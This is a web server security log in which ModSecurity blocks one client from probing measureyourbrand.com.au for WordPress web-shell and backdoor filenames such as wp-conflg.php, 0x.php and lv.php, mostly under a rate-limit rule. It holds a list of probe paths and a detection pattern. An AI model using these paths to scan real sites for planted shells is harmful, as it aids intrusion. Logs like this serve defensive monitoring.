[Tue Mar 24 01:07:11.098919 2026] [:error] [pid 56238:tid 56362] [client 20.220.216.188:29574] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "acFzP1SqceFAZRgPDq6WEAAAAM4"]
[Tue Mar 24 01:07:11.533758 2026] [:error] [pid 56238:tid 56364] [client 20.220.216.188:29588] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "acFzP1SqceFAZRgPDq6WFQAAANA"]
[Tue Mar 24 01:07:11.948143 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29523] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "acFzP8rwr-l5A-s9ryBu3gAAARc"]
[Tue Mar 24 01:07:12.372955 2026] [:error] [pid 56238:tid 56349] [client 20.220.216.188:29582] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "acFzQFSqceFAZRgPDq6WGgAAAME"]
[Tue Mar 24 01:07:12.791040 2026] [:error] [pid 56238:tid 56366] [client 20.220.216.188:29596] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "acFzQFSqceFAZRgPDq6WHQAAANI"]
[Tue Mar 24 01:07:13.203015 2026] [:error] [pid 56237:tid 56321] [client 20.220.216.188:29579] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "acFzQQymO0MnzQb90MMg9AAAAIA"]
[Tue Mar 24 01:07:13.619794 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29641] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "acFzQcrwr-l5A-s9ryBu4AAAAQQ"]
[Tue Mar 24 01:07:14.032552 2026] [:error] [pid 56238:tid 56367] [client 20.220.216.188:29519] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "acFzQlSqceFAZRgPDq6WIQAAANM"]
[Tue Mar 24 01:07:14.452328 2026] [:error] [pid 56435:tid 56519] [client 20.220.216.188:29593] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "acFzQsrwr-l5A-s9ryBu4wAAARI"]
[Tue Mar 24 01:07:14.868691 2026] [:error] [pid 56238:tid 56372] [client 20.220.216.188:29627] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "acFzQlSqceFAZRgPDq6WKwAAANg"]
[Tue Mar 24 01:07:15.278943 2026] [:error] [pid 56238:tid 56367] [client 20.220.216.188:29478] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "acFzQ1SqceFAZRgPDq6WLQAAANM"]
[Tue Mar 24 01:07:15.715130 2026] [:error] [pid 56435:tid 56515] [client 20.220.216.188:29569] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "acFzQ8rwr-l5A-s9ryBu5gAAAQ4"]
[Tue Mar 24 01:07:16.133039 2026] [:error] [pid 56435:tid 56501] [client 20.220.216.188:29521] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "acFzRMrwr-l5A-s9ryBu6AAAAQI"]
[Tue Mar 24 01:07:16.549393 2026] [:error] [pid 56237:tid 56339] [client 20.220.216.188:29674] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "acFzRAymO0MnzQb90MMg-AAAAJI"]
[Tue Mar 24 01:07:16.974532 2026] [:error] [pid 56435:tid 56513] [client 20.220.216.188:29673] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "acFzRMrwr-l5A-s9ryBu6QAAAQw"]
[Tue Mar 24 01:07:17.390613 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29652] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "acFzRcrwr-l5A-s9ryBu7QAAARc"]
[Tue Mar 24 01:07:17.827653 2026] [:error] [pid 56435:tid 56519] [client 20.220.216.188:29594] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "acFzRcrwr-l5A-s9ryBu8QAAARI"]
[Tue Mar 24 01:07:18.240485 2026] [:error] [pid 56435:tid 56515] [client 20.220.216.188:29549] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "acFzRsrwr-l5A-s9ryBu9QAAAQ4"]
[Tue Mar 24 01:07:18.656839 2026] [:error] [pid 56238:tid 56362] [client 20.220.216.188:29669] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "acFzRlSqceFAZRgPDq6WOgAAAM4"]
[Tue Mar 24 01:07:19.072008 2026] [:error] [pid 56435:tid 56509] [client 20.220.216.188:29506] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "acFzR8rwr-l5A-s9ryBu-AAAAQk"]
[Tue Mar 24 01:07:19.486052 2026] [:error] [pid 56238:tid 56353] [client 20.220.216.188:29669] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "acFzR1SqceFAZRgPDq6WPAAAAMU"]
[Tue Mar 24 01:07:19.902727 2026] [:error] [pid 56238:tid 56357] [client 20.220.216.188:29687] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "acFzR1SqceFAZRgPDq6WPQAAAMk"]
[Tue Mar 24 01:07:20.322758 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29532] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "acFzSMrwr-l5A-s9ryBvAgAAAQE"]
[Tue Mar 24 01:07:20.773768 2026] [:error] [pid 56435:tid 56518] [client 20.220.216.188:29522] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "acFzSMrwr-l5A-s9ryBvAwAAARE"]
[Tue Mar 24 01:07:21.198241 2026] [:error] [pid 56435:tid 56509] [client 20.220.216.188:29542] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "acFzScrwr-l5A-s9ryBvBQAAAQk"]
[Tue Mar 24 01:07:21.611092 2026] [:error] [pid 56238:tid 56350] [client 20.220.216.188:29508] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "acFzSVSqceFAZRgPDq6WRAAAAMI"]
[Tue Mar 24 01:07:22.021589 2026] [:error] [pid 56435:tid 56522] [client 20.220.216.188:29635] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "acFzSsrwr-l5A-s9ryBvCQAAARU"]
[Tue Mar 24 01:07:22.434438 2026] [:error] [pid 56238:tid 56362] [client 20.220.216.188:29597] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "acFzSlSqceFAZRgPDq6WRgAAAM4"]
[Tue Mar 24 01:07:22.910732 2026] [:error] [pid 56238:tid 56353] [client 20.220.216.188:29604] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "acFzSlSqceFAZRgPDq6WRwAAAMU"]
[Tue Mar 24 01:07:23.329531 2026] [:error] [pid 56238:tid 56366] [client 20.220.216.188:29678] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "acFzS1SqceFAZRgPDq6WTgAAANI"]
[Tue Mar 24 01:07:23.741600 2026] [:error] [pid 56435:tid 56516] [client 20.220.216.188:29662] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "acFzS8rwr-l5A-s9ryBvDgAAAQ8"]
[Tue Mar 24 01:07:24.155590 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29610] [client 20.220.216.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "acFzTMrwr-l5A-s9ryBvEQAAAQE"]
[Tue Mar 24 01:07:24.577147 2026] [:error] [pid 56238:tid 56362] [client 20.220.216.188:29605] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "acFzTFSqceFAZRgPDq6WVAAAAM4"]
[Tue Mar 24 01:07:24.993178 2026] [:error] [pid 56238:tid 56371] [client 20.220.216.188:29533] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "acFzTFSqceFAZRgPDq6WVQAAANc"]
[Tue Mar 24 01:07:25.410288 2026] [:error] [pid 56435:tid 56499] [client 20.220.216.188:29623] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "acFzTcrwr-l5A-s9ryBvFQAAAQA"]
[Tue Mar 24 01:07:25.844733 2026] [:error] [pid 56435:tid 56513] [client 20.220.216.188:29609] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "acFzTcrwr-l5A-s9ryBvFwAAAQw"]
[Tue Mar 24 01:07:26.273262 2026] [:error] [pid 56435:tid 56525] [client 20.220.216.188:29517] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "acFzTsrwr-l5A-s9ryBvGQAAARg"]
[Tue Mar 24 01:07:26.717821 2026] [:error] [pid 56238:tid 56353] [client 20.220.216.188:29578] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "acFzTlSqceFAZRgPDq6WXgAAAMU"]
[Tue Mar 24 01:07:27.130890 2026] [:error] [pid 56238:tid 56364] [client 20.220.216.188:29452] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "acFzT1SqceFAZRgPDq6WYAAAANA"]
[Tue Mar 24 01:07:27.546835 2026] [:error] [pid 56238:tid 56355] [client 20.220.216.188:29548] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acFzT1SqceFAZRgPDq6WYgAAAMc"]
[Tue Mar 24 01:07:27.963024 2026] [:error] [pid 56236:tid 56295] [client 20.220.216.188:29509] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acFzT3apFgYp0uZ8twAeUwAAAEI"]
[Tue Mar 24 01:07:28.387020 2026] [:error] [pid 56236:tid 56307] [client 20.220.216.188:29668] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acFzUHapFgYp0uZ8twAeVgAAAE4"]
[Tue Mar 24 01:07:28.820747 2026] [:error] [pid 56236:tid 56317] [client 20.220.216.188:29626] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acFzUHapFgYp0uZ8twAeWQAAAFg"]
[Tue Mar 24 01:07:29.233068 2026] [:error] [pid 56236:tid 56309] [client 20.220.216.188:29518] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acFzUXapFgYp0uZ8twAeXAAAAFA"]
[Tue Mar 24 01:07:29.645332 2026] [:error] [pid 56236:tid 56296] [client 20.220.216.188:29525] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acFzUXapFgYp0uZ8twAeYwAAAEM"]
[Tue Mar 24 01:07:30.067253 2026] [:error] [pid 56435:tid 56509] [client 20.220.216.188:29689] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acFzUsrwr-l5A-s9ryBvHgAAAQk"]
[Tue Mar 24 01:07:30.479155 2026] [:error] [pid 56435:tid 56520] [client 20.220.216.188:29648] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acFzUsrwr-l5A-s9ryBvHwAAARM"]
[Tue Mar 24 01:07:30.897569 2026] [:error] [pid 56236:tid 56317] [client 20.220.216.188:29572] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "acFzUnapFgYp0uZ8twAeZgAAAFg"]
[Tue Mar 24 01:07:31.309504 2026] [:error] [pid 56237:tid 56323] [client 20.220.216.188:29625] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "acFzUwymO0MnzQb90MMhBQAAAII"]
[Tue Mar 24 01:07:31.731385 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29448] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "acFzU8rwr-l5A-s9ryBvJQAAARc"]
[Tue Mar 24 01:07:32.150499 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29640] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "acFzVMrwr-l5A-s9ryBvKAAAAQE"]
[Tue Mar 24 01:07:32.568285 2026] [:error] [pid 56435:tid 56518] [client 20.220.216.188:29671] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "acFzVMrwr-l5A-s9ryBvLAAAARE"]
[Tue Mar 24 01:07:32.984605 2026] [:error] [pid 56435:tid 56520] [client 20.220.216.188:29573] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "acFzVMrwr-l5A-s9ryBvLgAAARM"]
[Tue Mar 24 01:07:33.406073 2026] [:error] [pid 56435:tid 56501] [client 20.220.216.188:29534] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "acFzVcrwr-l5A-s9ryBvNAAAAQI"]
[Tue Mar 24 01:07:33.825836 2026] [:error] [pid 56237:tid 56325] [client 20.220.216.188:29628] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "acFzVQymO0MnzQb90MMhCwAAAIQ"]
[Tue Mar 24 01:07:34.247320 2026] [:error] [pid 56237:tid 56334] [client 20.220.216.188:29642] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "acFzVgymO0MnzQb90MMhDQAAAI0"]
